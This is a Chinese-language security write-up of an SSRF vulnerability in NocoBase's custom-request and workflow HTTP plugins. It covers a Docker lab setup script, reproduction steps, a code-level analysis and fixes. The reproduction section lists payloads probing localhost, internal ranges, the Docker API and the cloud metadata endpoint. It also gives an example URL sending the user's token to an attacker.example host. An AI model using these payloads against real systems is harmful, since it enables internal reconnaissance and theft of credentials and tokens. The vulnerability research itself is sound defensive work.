0x0 背景介绍

NocoBase的流程HTTP请求插件和自定义请求动作插件会在用户提供的URL上发起服务器端HTTP请求,且没有任何SSRF防护。经认证的用户可访问内部网络服务、云元数据端点以及本地主机。

0x1 环境搭建(Ubuntu24)

  • 1.1-Ubuntu24+Docker搭建配置

  • 另存为install.sh

#!/bin/bash
# ==========================================
# NocoBase SSRF漏洞环境一键部署脚本
# 漏洞编号: CVE-2026-40346
# 目标版本: nocobase/nocobase:1.6.31
# 用途说明: 仅供安全研究测试,禁止用于非法用途
set -e
# --- 配置区域 (可自定义) ---
PROJECT_DIR="$HOME/nocobase-app"
CONTAINER_NAME="nocobase-app"
IMAGE_VERSION="nocobase/nocobase:1.6.31"
POSTGRES_IMAGE="postgres:16"
HOST_PORT="13000"
CONTAINER_PORT="80"
TIMEZONE="Asia/Shanghai"
# 数据库配置
DB_NAME="nocobase"
DB_USER="nocobase"
DB_PASSWORD="nocobase"
# 安全密钥 (建议修改)
APP_KEY="your-secret-key-$(openssl rand -hex 16)"
echo "=============================================="
echo "  NocoBase 一键部署脚本 (含漏洞环境)"
echo "  目标版本: ${IMAGE_VERSION}"
echo "  (注:此版本存在 CVE-2026-40346 SSRF 漏洞)"
echo "=============================================="
# 阶段 0: 检查依赖
echo "[*] 阶段 0/5:检查环境依赖..."
if ! command -v docker &> /dev/null; then
    echo "[x] 未检测到 Docker,请先安装 Docker"
    exit 1
fi
if ! command -v docker compose &> /dev/null && ! docker compose version &> /dev/null; then
    if command -v docker-compose &> /dev/null; then
        alias docker compose="docker-compose"
        echo "[*] 检测到旧版 docker-compose,已兼容处理"
    else
        echo "[x] 未检测到 Docker Compose,请先安装"
        exit 1
    fi
fi
echo "[+] Docker 环境检查通过"
# 阶段 1: 创建目录
echo "[*] 阶段 1/5:创建工作目录..."
mkdir -p "${PROJECT_DIR}/storage/db/postgres"
cd "${PROJECT_DIR}" || { echo "[x] 进入目录失败"; exit 1; }
echo "[+] 工作目录: $(pwd)"
# 阶段 2: 生成配置文件
echo "[*] 阶段 2/5:生成配置文件 (docker-compose.yml)..."
# 生成 docker-compose.yml
cat > docker-compose.yml <<EOF
version: '3'
networks:
  nocobase:
    driver: bridge
services:
  app:
    image: ${IMAGE_VERSION}
    container_name: ${CONTAINER_NAME}
    restart: always
    networks:
      - nocobase
    depends_on:
      - postgres
    environment:
      - APP_KEY=${APP_KEY}
      - DB_DIALECT=postgres
      - DB_HOST=postgres
      - DB_PORT=5432
      - DB_DATABASE=${DB_NAME}
      - DB_USER=${DB_USER}
      - DB_PASSWORD=${DB_PASSWORD}
      - TZ=${TIMEZONE}
    volumes:
      - ./storage:/app/nocobase/storage
    ports:
      - '${HOST_PORT}:${CONTAINER_PORT}'
  postgres:
    image: ${POSTGRES_IMAGE}
    container_name: ${CONTAINER_NAME}-postgres
    restart: always
    command: postgres -c wal_level=logical
    environment:
      POSTGRES_USER: ${DB_USER}
      POSTGRES_DB: ${DB_NAME}
      POSTGRES_PASSWORD: ${DB_PASSWORD}
    volumes:
      - ./storage/db/postgres:/var/lib/postgresql/data
    networks:
      - nocobase
EOF
echo "[+] 配置文件生成完毕"
# 阶段 3: 修正权限
echo "[*] 阶段 3/5:修正目录权限..."
chown -R $(id -u):$(id -g) ./storage
chmod -R 755 ./storage
echo "[+] 权限设置完成 (所有者: $(whoami))"
# 阶段 4: 启动服务
echo "[*] 阶段 4/5:启动 Docker 容器..."
docker compose up -d
echo "[*] 等待服务初始化 (约 30 秒)..."
for i in {1..6}; do
    echo -n "."
    sleep 5
done
echo ""
# 阶段 5: 健康检查
echo "[*] 阶段 5/5:检查服务状态..."
# 检查容器是否运行
if [ "$(docker inspect -f '{{.State.Running}}' ${CONTAINER_NAME} 2>/dev/null)" != "true" ]; then
    echo "[x] 主容器启动失败!请查看日志:"
    docker logs --tail 20 ${CONTAINER_NAME}
    exit 1
fi
if [ "$(docker inspect -f '{{.State.Running}}' ${CONTAINER_NAME}-postgres 2>/dev/null)" != "true" ]; then
    echo "[x] 数据库容器启动失败!请查看日志:"
    docker logs --tail 20 ${CONTAINER_NAME}-postgres
    exit 1
fi
# 检查服务是否可用
MAX_WAIT=60
COUNT=0
SERVICE_READY=false
while [ $COUNT -lt $MAX_WAIT ]; do
    if curl -s "http://localhost:${HOST_PORT}/api/app:getInfo" > /dev/null 2>&1; then
        SERVICE_READY=true
        break
    fi
    sleep 2
    COUNT=$((COUNT+2))
    echo -n "."
done
if [ "$SERVICE_READY" = false ]; then
    echo "[!] 警告:未在 ${MAX_WAIT} 秒内检测到服务响应。"
    echo "    可能是首次启动较慢,请稍后检查。"
    docker logs --tail 30 ${CONTAINER_NAME}
else
    echo "[+] 服务启动成功!"
fi
# 获取本地 IP
LOCAL_IP=$(hostname -I | awk '{print $1}')
echo "=============================================="
echo "  NocoBase 部署完成!"
echo "=============================================="
echo "  访问地址:"
echo "     局域网: http://${LOCAL_IP}:${HOST_PORT}"
echo "     本地:   http://localhost:${HOST_PORT}"
echo ""
echo "  默认登录账号:"
echo "     用户名: admin@nocobase.com"
echo "     密码: admin123"
echo ""
echo "  APP_KEY: ${APP_KEY}"
echo ""
echo "  数据位置:"
echo "     ${PROJECT_DIR}/storage"
echo ""
echo "  【!】️  安全提醒:"
echo "     此版本 (v1.6.31) 存在 CVE-2026-40346 SSRF 漏洞"
echo "     攻击者可通过特制请求访问内部服务或进行端口扫描"
echo "     请仅在隔离环境用于安全测试,勿用于生产环境!"
echo ""
echo "  常用命令:"
echo "     查看应用日志: docker logs -f ${CONTAINER_NAME}"
echo "     查看数据库日志: docker logs -f ${CONTAINER_NAME}-postgres"
echo "     重启服务: docker compose restart"
echo "     停止服务: docker compose down"
echo "     完整删除: docker compose down -v"
echo "=============================================="
echo "  重要提示: 此环境仅用于合法安全测试!"
echo "=============================================="

0x2 漏洞复现

目标:在“已登录(loggedIn)用户”的权限范围内,通过可控 URL 触发 NocoBase 服务器端向任意地址发起 HTTP 请求,从而访问内网服务/本机服务/云元数据端点。受影响链路:自定义请求动作工作流 Request 指令(两者底层都使用 axios,且未实现 SSRF 防护)。

2.1-脚本验证

https://github.com/Kai-One001/cve-/blob/main/NocoBase_AI_SSRF_CVE-2026-40346.py

图片

2.2-手动复现

2.1.1-工作流HTTP请求(步骤多哈)
  • 右上角->⚙->Workfow

图片

  • 添加新的流程

图片

  • 编辑该工作流,添加节点

图片

  • 设置相关参数

图片

  • 进行测试

图片

2.1.2-自定义请求流程
  • 同样,在首页创建模板

图片

  • 添加一个表格后配置自定义请求

图片

图片

  • 配置该节点的参数,示例是这样,这地方发现有API-token(v1.3.22-beta及以上才有)

图片

2.1.3 探测本机/内网服务
  • Payload(示例):
• http://127.0.0.1:80/
• http://127.0.0.1:5432/(Postgres)
• http://127.0.0.1:2375/version(Docker)
• http://10.0.0.0/8、http://172.16.0.0/12、http://192.168.0.0/16
## 网段中的常见端口
  • 预期结果:
• 成功:响应 body 直接回传到 NocoBase 的接口响应
  (自定义请求:ctx.body = res.data,见 send.ts L185-L190;工作流请求:result.data 被记录到 job)

• 失败:ECONNREFUSED / ETIMEDOUT 等错误信息
(自定义请求会用 ctx.status = err.response?.status || 500,见 send.ts L192-L199;工作流请求会走 error.toJSON() 或 error.message,见 RequestInstruction.ts L119-L123)
2.1.4 访问云元数据(信息泄露)
  • Payload(示例)
AWS 常见:http://169.254.169.254/latest/meta-data/
  • 预期响应:
•如果环境具备元数据服务,响应中可能包含实例信息、临时凭证等敏感数据

•这是从“应用层 SSRF”直达“云控制面数据泄露”的典型升级路径
2.1.5 利用变量/模板把“敏感上下文”带入请求(更隐蔽的链路)

这里需要特别强调适用范围**$nToken / $env 这类“敏感上下文变量”只存在于「自定义请求动作」链路**(plugin-action-custom-request/src/server/actions/send.tsvariables),不属于「工作流 HTTP request 节点」的默认变量集

自定义请求动作支持变量模板解析(见send.ts定义 getParsedValue,并使用 url/headers/params/data 全量套用)

  • 可被带入的上下文(证据)
$nToken:当前用户 Bearer Token(send.ts L154)

• $env:环境变量(send.ts L156) ##我没成功

• currentUser、currentRecord、$nForm:当前用户/记录/表单数据(send.ts L147-L156)•
  • 示例思路
把 url 配成攻击者控制的外部域名,例如 :
 1、https://attacker.example/collect?token={{ $nToken }}
 2、或把敏感字段拼进 querystring/POST body
那样的结果:
 1、 服务端会实际向外发起携带敏感信息的请求;且插件日志会打印最终 URL(send.ts L172-L173),
 2、 同时意味着“敏感信息进入日志”的二次风险也需要关注
  • 另外我也在补丁版本进行了复现,新增了限制

图片

2.3-复现流量特征 (PCAP)

  • 工作流请求流量

图片

  • 自定义请求流量

图片

0x3 漏洞原理分析

3.0-[架构与模块定位] 两条链路,一种本质:把用户可控 URL 交给 axios

从仓库结构看,是两个插件在设计上都提供了“由用户配置 URL 并由服务器代发请求”的能力:

  • 工作流侧:把“请求”做成一个可编排的指令

  • 动作侧:把“请求”做成一个可配置的 UI 动作

核心文件梳理如下(入口层/逻辑层/驱动层):

层级 文件 职责(与漏洞链条的关系)
入口层(触发点) packages/plugins/@nocobase/plugin-action-custom-request/src/client/hooks/useCustomizeRequestActionProps.ts 点击按钮时调用 /customRequests:send/<x-uid>,把 currentRecord/$nForm 传给后端(L55-L68)。
入口层(服务端路由) packages/plugins/@nocobase/plugin-action-custom-request/src/server/plugin.ts 注册 customRequests.send 动作并允许 loggedIn 访问(L34-L48)。
逻辑层(自定义请求执行) packages/plugins/@nocobase/plugin-action-custom-request/src/server/actions/send.ts 从 DB 取出 requestConfig.options,模板解析 url/headers/params/data,然后 axios 直连(L105-L170, L185)。
逻辑层(工作流请求执行) packages/plugins/@nocobase/plugin-workflow-request/src/server/RequestInstruction.ts 从工作流节点 config 取 url 等参数,组装 headers/params/data,随后 axios.request 直连(L38-L68, L113-L114)。
数据层(请求配置存储) packages/plugins/@nocobase/plugin-action-custom-request/src/server/collections/customRequest.ts customRequests.options 用 JSON 存放整套请求参数(L35-L37)。

3.1-[核心入口] 自定义请求动作:从按钮点击到 /customRequests:send 的“代发请求”

首先是前端触发点:当动作类型是 customize:form:request 时,前端会发起一个非常明确的请求:

文件:

packages/plugins/@nocobase/plugin-action-custom-request/src/client/hooks/useCustomizeRequestActionProps.ts

关键代码:

apiClient.request({ url: \
/customRequests:send/${fieldSchema['x-uid']}`, method: 'POST', data: ... })`
  • 只要我能在页面上配置这个按钮,或者拿到这个 x-uid,就有一条通往服务端“代发 HTTP 请求”的专用通道

接着找服务端注册处,确认它确实是一个“面向普通登录用户”的能力,而不是仅管理员可用:

文件:

packages/plugins/@nocobase/plugin-action-custom-request/src/server/plugin.ts

关键代码:

• resourceManager.define({ name: 'customRequests', actions: { send, ... }})
• acl.allow('customRequests', ['send', ...], 'loggedIn')
  • 猜测这大概率是“这是一个配置型能力,受 UI与角色控制”,因此把ACL下放到loggedIn,再在动作内部做一次角色过滤

  • 但现实是:只要存在任意可触发的配置(尤其是默认“未绑定角色限制”的配置),它就会变成一个通用SSRF

3.2-[逻辑缺陷] 自定义请求动作的“最后一道失守防线”:模板解析后直送 axios

我们进入 send.ts文件,只做三件事

1) URL 是否来自用户可控配置?

2) 发起请求前有没有任何 SSRF 防护(协议、IPDNS Rebinding、内网网段、localhost、重定向等)?

3) 公平 xixi :)

文件:

packages/plugins/@nocobase/plugin-action-custom-request/src/server/actions/send.ts

关键代码:

•从 requestConfig.options 解构出 url/headers/params/data/...options

•用 getParsedValue() 对 url/headers/params/data 做模板解析(L162-L170)

•组装 axiosRequestConfig

而真正有问题是在这一行:

const res = await axios(axiosRequestConfig)
  • 还有一个注意的是:这里的 URL 不是“白名单内的路径”,而是完全可拼装的字符串:
•url: getParsedValue(url, variables)

•variables 里甚至包含 $env$nToken

正常情况:

•既然这是“自定义请求”,可能希望它像“服务端代理器”:让业务人员把数据推送到指定外部 API。  

•因此他们提供了模板变量(currentUser/currentRecord/$nForm/$env/$nToken),希望增强编排能力。

实际缺失:

• 没有任何 SSRF 保护机制:
  1、未限制协议(file:// 之类虽然 axios 不一定支持,但 http/https 足够)、未做 IP/网段拦截、未阻断localhost/127.0.0.1
  2、未处理 DNS Rebinding、未限制跳转(axios 默认会跟随重定向,具体取决于 adapter/环境)。  

• baseURL: ctx.origin看起来像“想把请求限制在本站”,
  1、但axios 规则是:只要 url 是绝对 URL(如 http://127.0.0.1),它会覆盖 baseURL 直接访问目标
  2、这就导致“误以为 baseURL 是安全边界”的错觉。

3.3-[核心入口] 工作流 Request 指令:节点配置驱动的“通用 SSRF 指令”

看自定义请求动作是“页面按钮触发”还能字如其名,到工作流这条线更像“平台的脚本能力”:一旦某个角色能配置/触发工作流,就等于拿到了一个通用网络探测器。

文件:

packages/plugins/@nocobase/plugin-workflow-request/src/server/RequestInstruction.ts
  • request(config)函数中URL只做了trim()(L38-L68)

  • 问题点:return axios.request({ url: trim(url), ... })(L57-L68)

接着往下看 run() 中,它会直接调用这个 request(config)

1const config = processor.getParsedValue(node.config, node.id)(L106)
  这一步意味着:工作流节点 config 也会被变量解析/动态生成


2、 在同步工作流中直接 await request(config)(L111-L117)


3、 那在异步工作流也会 request(config).then(...).catch(...)(L134-L167)
  • 这里的安全边界同样有矛盾,工作流节点本质上是一种“低代码编排”,当它提供HTTP请求能力时,就应该默认附带SSRF安全框架(地址策略、DNS/IP 校验、禁止内网等)

  • 但这里的实现“把axios暴露给了可配置层”

3.4-[攻击链路] 两条链路的调用链总结(注入点 -> 爆发点)

  • 链路 A(自定义请求)
页面按钮点击/表单提交
-> useCustomizeRequestActionProps.onClick()

-> POST /customRequests:send/<x-uid>(注入点:customRequests.options.url)

-> plugin-action-custom-request/src/server/actions/send.ts

-> axiosRequestConfig.url = getParsedValue(url, variables)

-> await axios(axiosRequestConfig)(爆发点:L185)

-> 目标内网/本机/元数据服务响应被带回 ctx.body
  • 链路 B(工作流 Request 指令)
工作流节点配置
-> processor.getParsedValue(node.config, node.id)(注入点:node.config.url)

-> plugin-workflow-request/src/server/RequestInstruction.ts::request(config)

-> axios.request({ url: trim(url), ... })(爆发点:L57-L68)

-> 响应/错误被记录为 job result(可被 UI/接口读取)

3.5 [推导最大危害-理论] 从“可访问任意 URL”到“可持续渗透面”

基于以上两条链路的共同特征(认证用户可触发 + URL 可控 + 服务器端直连),扩大下战果:

  • 内网资产探测与横向移动:利用超时/状态码差异对内网端口进行枚举,识别 Redis/Elasticsearch/Kibana/Docker API/Consul 等服务,再进一步利用其弱口令或未授权接口。

  • 云元数据泄露 -> 云上接管:在云环境中访问 169.254.1xx.2x4获取临时凭证、实例信息,进而访问云API,造成数据泄露与权限升级。

  • 读取/投递敏感上下文(自定义请求动作特有的“变量能力”)variables 中包含$nToken、$env等(send.ts L154-L156),意味着攻击者能把“平台内的认证材料/环境信息”通过 SSRF 出网带走,形成更隐蔽的数据外带通道。

  • 日志侧二次泄露:插件会记录最终 requestUrl(send.ts L172-L173)。当URL中携带token/敏感字段时,日志本身会成为敏感信息落地点。

0x4 修复建议

1、升级最新版本:将组件升级安全版本,2.0.37及以上版本

https://github.com/nocobase/nocobase

2、临时防护措施:

  • 关闭特性:禁用或下线@nocobase/plugin-action-custom-request与 @nocobase/plugin-workflow-request(若业务允许)

  • 防火墙 / WAF:拦截/审计 POST /api/customRequests:send/*、出现 currentRecord、$nForm字段的组合

  • 限制访问:网络层 egress 控制,在服务器防火墙/安全组层面禁止应用容器/主机访问

免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐